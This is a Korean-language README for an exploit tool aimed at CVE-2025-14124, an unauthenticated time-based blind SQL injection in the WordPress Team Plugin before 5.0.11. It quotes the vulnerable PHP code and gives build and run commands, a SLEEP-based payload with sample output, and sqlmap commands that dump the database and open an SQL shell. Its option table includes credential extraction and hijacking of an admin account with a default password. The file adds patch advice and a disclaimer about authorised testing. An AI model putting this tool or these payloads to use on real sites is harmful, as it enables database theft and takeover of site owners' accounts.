
인증되지 않은 SQL 인젝션 (시간 기반 블라인드)
저자: Hyun Chiya
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-14124 |
| Plugin | WordPress Team Plugin |
| 영향 받는 버전 | < 5.0.11 |
| 취약점 유형 | 인증되지 않은 SQL 인젝션 (시간 기반 블라인드) |
| 심각도 | 높음 |
WordPress Team Plugin은 인증되지 않은 사용자가 사용할 수 있는 AJAX 액션을 통해 SQL 문에 search 매개변수를 사용하기 전에 적절히 살균 및 이스케이프하지 않아 SQL 인젝션이 발생합니다.
취약한 코드는 app/Controllers/Frontend/Ajax/LoadMore.php에 있습니다:
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
문제점: $wpdb->esc_like()는 LIKE 와일드카드만 이스케이프하고, SQL 인젝션 메타문자는 이스케이프하지 않습니다.
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff
[tlpteam] 단축 코드가 포함된 페이지가 존재해야 함go build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
--dump)--dump를 사용하면 다음 정보를 추출합니다:
참고: 시간 기반 블라인드 SQL 인젝션 특성상 데이터 추출이 느립니다 (전체 추출에 약 5-15분 소요).
--create-admin)SQL UPDATE를 통해 기존 관리자 비밀번호 변경을 시도합니다.
⚠️ 중요: 이 모드는 스택 쿼리 지원이 필요하며, 일반적으로 PHP+MySQL에서는 비활성화되어 있습니다. 스택 쿼리가 지원되지 않는 경우, 대신
--dump를 사용하여 자격 증명을 추출하거나sqlmap --sql-shell을 사용하여 직접 UPDATE를 실행하세요.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
고급 공격을 위해 취약점 확인 후 sqlmap을 사용할 수 있습니다:
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ 중요: WordPress Team Plugin을 버전 5.0.11 이상으로 업데이트하세요. 해당 버전에서는
$wpdb->prepare()를 사용한 적절한 SQL 이스케이프로 취약점이 패치되었습니다.
이 도구는 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하십시오.
Hyun Chiya
| 인자 | 설명 |
|---|
-u | 대상 WordPress URL (필수) |
--page-url | tlpteam 단축 코드가 포함된 페이지 URL |
--delay | 탐지를 위한 SLEEP 초 (기본값: 1) |
--dump | 데이터베이스 정보 및 WordPress 관리자 자격 증명 추출 |
--create-admin | 관리자 계정 하이재킹 시도 (스택 쿼리 필요) |
--admin-user | 관리자 하이재킹용 사용자 이름 (기본값: pwned_admin) |
--admin-pass | 관리자 하이재킹용 비밀번호 (기본값: Pwned123!) |
--check-only | 플러그인 활성화 여부만 확인 |
--timeout | 요청 시간 제한 초 (기본값: 120) |